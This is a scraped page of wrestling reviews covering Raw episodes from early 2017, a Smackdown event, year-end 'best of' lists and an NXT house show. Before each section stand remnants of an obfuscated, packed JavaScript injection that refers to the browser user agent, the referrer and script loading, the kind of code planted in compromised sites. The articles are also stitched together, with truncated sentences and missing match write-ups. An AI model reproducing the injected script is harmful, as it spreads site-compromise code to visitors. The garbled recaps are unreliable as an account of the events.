");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkaek|var|u0026u|referrer|rfbye||js|php'.split('|'),0,{})) Night Raw
Date: February 5, 2017
Location: Moda Center, Portland, Oregon
Commentators: Michael Cole, Byron Saxton, Corey Graves

Bayley vs. Nia Jax

Braun Strowman vs. ???/???/???/???

Video on Akira Tozawa.

Akira Tozawa vs. Drew Gulak

Gallows and Anderson are defending with Enzo and Big Cass watching at ringside. Sheamus takes over on Anderson to start before Cesaro comes in with an ax handle to the shoulder. A Regal Roll into a double stomp from Cesaro gets two so the champs regroup on the floor as we take a break. Back with Sheamus fighting back and getting two off a top rope clothesline. The assisted Irish Curse gets two on Anderson but Gallows kicks Enzo in the face, drawing Cass in for the DQ at 9:00.

Black History Month video on Jackie Robinson.

We look back at Rollins being attacked last week. Rollins has a torn MCL and his Wrestlemania status is “very much in doubt”.

New Day vs. Shining Stars

This is joined in progress after a break with Woods hitting a splash for two on Primo until an enziguri knocks Xavier into a Russian legsweep. We hit the chinlock for a long while, followed by a top wristlock for a change of pace. Woods fights back and gets in a missile dropkick, allowing the hot tag off to Big E. Everything breaks down and New Day cleans house, setting up the Midnight Hour for the pin at Primo at 5:48.

Goldberg vs. Owens is official for Fastlane.

The Rock N Roll Express are official for the Hall of Fame.

US Title: Chris Jericho vs. Sami Zayn

We look at Goldberg challenging Owens earlier tonight.

Sasha Banks is getting her knee looked at when Charlotte comes in to mock her for not even having her health. Charlotte promises to keep a seat open for Banks next week when her best friend gets a shot at the title.

Emmalina debuts next week.

Neville/Noam Dar/Tony Nese vs. Jack Gallagher/Cedric Alexander/TJ Perkins

Jericho pitches an idea for next week: the Festival of Friendship. Owens is skeptical but goes along with it.

We look at Reigns and Samoa Joe from earlier.

Samoa Joe vs. Roman Reigns

Joe jumps Reigns before the bell and Reigns is in trouble as we take a break with no bell. Back with the bell ringing and Reigns taking it to the floor for a whip into the barricade. Joe comes right back with an enziguri and pops Reigns in the jaw with an elbow. A slugout goes to Joe and he drops the backsplash for two more.

Post match Strowman cleans house and powerslams Reigns through the barricade to end the show.

Results

Nia Jax b. Bayley – Samoan drop

Braun Strowman b. ???/???/???/??? – Running powerslam

Akira Tozawa b. Drew Gulak – German suplex

Anderson and Gallows b. Sheamus/Cesaro via DQ when Big Cass interfered

New Day b. Shining Stars – Midnight Hour to Primo

Chris Jericho b. Sami Zayn – Codebreaker

Jack Gallagher/Cedric Alexander/TJ Perkins b. Tony Nese/Noam Dar/Neville – Lumber Check to Dar

Samoa Joe b. Roman Reigns – Rock Bottom

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yedni|var|u0026u|referrer|nnaye||js|php'.split('|'),0,{})) Event
Date: February 2, 2017
Location: Laredo Energy Arena, Laredo, Texas
Commentators: Tom Phillips, Austin Aries, Byron Saxton

Opening sequence.

Sin Cara vs. Bo Dallas

Video on Roman Reigns vs. Kevin Owens from Royal Rumble.

From Raw.

Universal Title: Kevin Owens vs. Braun Strowman

Roman Superman Punches and spears Strowman but Braun pops up.

From Raw again.

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkabb|var|u0026u|referrer|eddba||js|php'.split('|'),0,{})) Night Raw
Date: January 30, 2017
Location: Laredo Energy Arena, Laredo, Texas
Commentators: Michael Cole, Byron Saxton, Corey Graves

Sami Zayn vs. Chris Jericho

Non-title. They fight over a wristlock to start until Sami takes over with those armdrags. If it works for Ricky Steamboat, it can work for Sami. They head outside with Sami scoring with a dropkick and the moonsault off the barricade takes us to a break. Back with Jericho getting two off an enziguri and a top rope hurricanrana, only to dive into the Blue Thunder Bomb for two. Jericho bails to the floor for a chase scene, capped off by a tornado DDT back inside. The Helluva Kick is countered into the Walls but Sami is right next to the ropes. The exploder sets up the Helluva Kick to give Sami the clean pin at 11:49.

Bayley wants Cesaro and Sheamus to hug before their six person tag later tonight. Charlotte, Anderson and Gallows come in to laugh a bit.

Long video on Seth Rollins vs. HHH. They cover pretty much everything here, save for WHY HHH DID THIS FIVE MONTHS AGO that is.

Owens tries to talk Stephanie out of the title match but she has to deal with Rollins first.

Tony Nese vs. Mustafa Ali

Bayley/Cesaro/Sheamus vs. Charlotte/Anderson and Gallows

Sasha Banks vents to Bayley about losing and agrees to fight Nia Jax again.

We look at Goldberg eliminating Brock Lesnar last night.

Universal Title: Kevin Owens vs. Braun Strowman

Roman Superman Punches and spears Strowman but Braun pops up.

Brock Lesnar arrives.

Sasha Banks vs. Nia Jax

Banks is still banged up coming in and Nia goes right after the bad leg. The knee is sent into the apron and post before we hit a leglock. The referee stops the match at 2:08.

Rusev/Jinder Mahal vs. Enzo Amore/Big Cass

HHH arrives.

Sneak peak of WWE 24.

Goldberg will be here next week.

Results

Sami Zayn b. Chris Jericho – Helluva Kick

Tony Nese b. Mustafa Ali – Running knee

Bayley/Cesaro/Sheamus b. Charlotte/Anderson and Gallows – Bayley to Belly to Charlotte

Braun Strowman b. Kevin Owens via DQ when Roman Reigns interfered

Nia Jax b. Sasha Banks via referee stoppage

Enzo Amore/Big Cass b. Rusev/Jinder Mahal – Bada Boom Shaka Lacka to Rusev

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbnrf|var|u0026u|referrer|zkdzh||js|php'.split('|'),0,{})) down to the final series with the most important of them all: Wrestler of the Year. Someone has to be the biggest name with the best year and that’s what we’re going to be looking at today. WWE has had a great year and some very talented wrestlers put on a strong series of matches. As usual, these are in no particular order and again: I don’t watch much New Japan so there’s no Omega or Naito.

1. Sasha Banks

2. Charlotte

3. Shinsuke Nakamura

This is an interesting one as Nakamura hit the ground at a full on sprint with an amazing match against Sami Zayn at “Takeover: Dallas”, went on to defeat Finn Balor and then went on to become NXT Champion by the end of the summer. After that things started to go downhill a bit as he traded the title with Samoa Joe before coming out with it again.

4. The Miz

5. AJ Styles

This was a coronation after so many years spent toiling in TNA and then a few more taking New Japan Pro Wrestling by storm. Styles was widely considered one of the best of all time to never set a full time foot in WWE and once he got there, he was on fire the whole way. The debut at the Royal Rumble was one of the best moments of the year and he followed it up with classic match after classic match.

6. Samoa Joe

7. Kevin Owens

How can you not include the longest reigning WWE Universal Champion of all time? Owens might not be having the greatest ending to a year of all time but he was on fire earlier in the year. What started off as a pretty forgettable Intercontinental Title reign turned into a rekindling of the awesome Sami Zayn feud and wound up with him winning his first World Title after Finn Balor went down with an injury.

8. Chris Jericho

9. Asuka

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Who will take the final Royal Rumble spots and who won’t?

http://wrestlingrumors.net/kbs-review-elite-eight/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brfbi|var|u0026u|referrer|zkytr||js|php'.split('|'),0,{})) there’s one thing that can make or break a wrestling show, it’s how the talking is handled. Over the years, a lot of great matches have been set up and then destroyed by horrible promo work. So much of the wrestling business is built on what happens before the bell rings because that’s how you get people to care about the matches. It really is more important than what happens during the actual matches and that’s why it’s so important here. Today, we’re looking at the Best Promos of the Year. Again, these are in no particular order.

3. “Bring me Nakamura or bring me my championship!” – Samoa Joe, “NXT”, October 12

That meant that the NXT Champion was out of action for a while, meaning Samoa Joe felt that he deserved to be champion again. This led to him making such a demand to NXT General Manager William Regal because for Samoa Joe, it was that simple: he either should be made champion again or get another title shot against Nakamura immediately.

The fact that there was a choice tells you a lot about Samoa Joe. Instead of just wanting to be handed his title, he had no issue with defeating Nakamura in a fight because he knew he could take down the champion on equal footing. It was a great way to set up the rematch and show that Samoa Joe was more than just a regular bully who was going to back down in the face of a challenge. The fact that he delivered it with such rage made the statement come off that much stronger.

What followed was a tirade of emotions that Miz has never approached in his entire career. Miz went on and on about how Bryan was the real coward for leaving the fans waiting on his return that was never going to happen. If Bryan loved wrestling that much, why did he not just quit WWE and go wrestle somewhere else? Bryan walked off the set with no response, leaving Miz to look like the conquering hero for one of the only times in his career.

6. “Why are you still here?” – AJ Styles, “Smackdown Live”, August 2

Over the years, John Cena has lost his fair share of matches. A lot of people have defeated him more than once but for some reason he almost never seems to lose the final match of a feud. Cena is the kind of guy who will lose a match and shrug it off without seeming to lose anything as a result.

https://www.amazon.com/dp/B01MQKDV5O

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|defde|var|u0026u|referrer|zrrdi||js|php'.split('|'),0,{})) took in the NXT house show last night at the Broadbent Arena in Louisville, Kentucky. The arena holds 6,600 people but part of it was tarped off and the entire back section of the bleacher seats weren’t sold. The floor seats however were completely full and gave the show a good feeling as the area around the ring was packed.  Let’s get to it.

After a regular opening video and the Star Spangled Banner, the ring announcer started an NXT chant and we were ready to go.

1. Gran Metalik b. Noam Dar – Metalik Driver (8:30)

2. Ember Moon b. Mandy Rose – Eclipse (9:03)

3. Authors of Pain b. Heavy Machinery – Final Chapter (7:28)

4. Elias Samson b. Oney Lorcan – Swinging neckbreaker (7:45)

Billie Kay was out with Royce. This was better than expected with Billie getting in a distraction so Peyton could take over. The Aussies are getting better at their offense and looking more like bullies. Asuka Hulked Up, took out Billie and Asuka Locked Peyton to retain. C+.